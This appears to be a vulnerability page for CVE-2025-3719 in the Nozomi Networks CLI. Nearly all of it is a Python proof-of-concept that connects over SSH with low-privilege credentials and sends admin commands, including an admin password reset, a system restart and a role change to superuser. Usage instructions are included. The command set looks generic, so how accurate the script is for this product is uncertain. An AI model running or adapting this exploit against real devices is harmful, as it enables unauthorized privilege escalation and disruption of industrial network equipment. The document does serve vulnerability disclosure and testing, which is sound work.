CVE-2025-3719 Nozomi产品CLI访问控制漏洞

# CVE-2025-3719 PoC - CLI Access Control Bypass # This PoC demonstrates the access control vulnerability in Nozomi Networks CLI import paramiko import sys def exploit_cli_access_control(target_host, port, username, password): """ Exploit CVE-2025-3719: CLI Access Control Bypass Authenticated low-privilege user can execute admin CLI commands """ try: # Step 1: Establish SSH connection with low-privilege credentials client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) print(f"[*] Connecting to {target_host}:{port} as user '{username}'...") client.connect( hostname=target_host, port=port, username=username, password=password, timeout=10 ) print("[+] Authentication successful with low-privilege account") # Step 2: Invoke interactive shell shell = client.invoke_shell() # Step 3: Execute admin-level CLI commands (should be restricted) admin_commands = [ "show running-config", # View full configuration "configure terminal", # Enter global config mode "admin password reset", # Reset admin password "system restart", # Restart the device "user admin role superuser", # Modify user roles ] for cmd in admin_commands: print(f"\n[*] Executing admin command: {cmd}") shell.send(cmd + "\n") import time time.sleep(1) output = shell.recv(65535).decode('utf-8', errors='ignore') print(f"[+] Output:\n{output}") # Check if command was executed (vulnerability indicator) if "error" not in output.lower() and "denied" not in output.lower(): print(f"[!] VULNERABLE: Command '{cmd}' executed without proper authorization!") else: print(f"[-] Command '{cmd}' was denied (not vulnerable or patched)") client.close() return True except paramiko.AuthenticationException: print("[-] Authentication failed - valid credentials required") return False except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) != 5: print(f"Usage: {sys.argv[0]} <target_host> <port> <username> <password>") print(f"Example: {sys.argv[0]} 192.168.1.100 22 limiteduser password123") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) user = sys.argv[3] pwd = sys.argv[4] exploit_cli_access_control(target, port, user, pwd)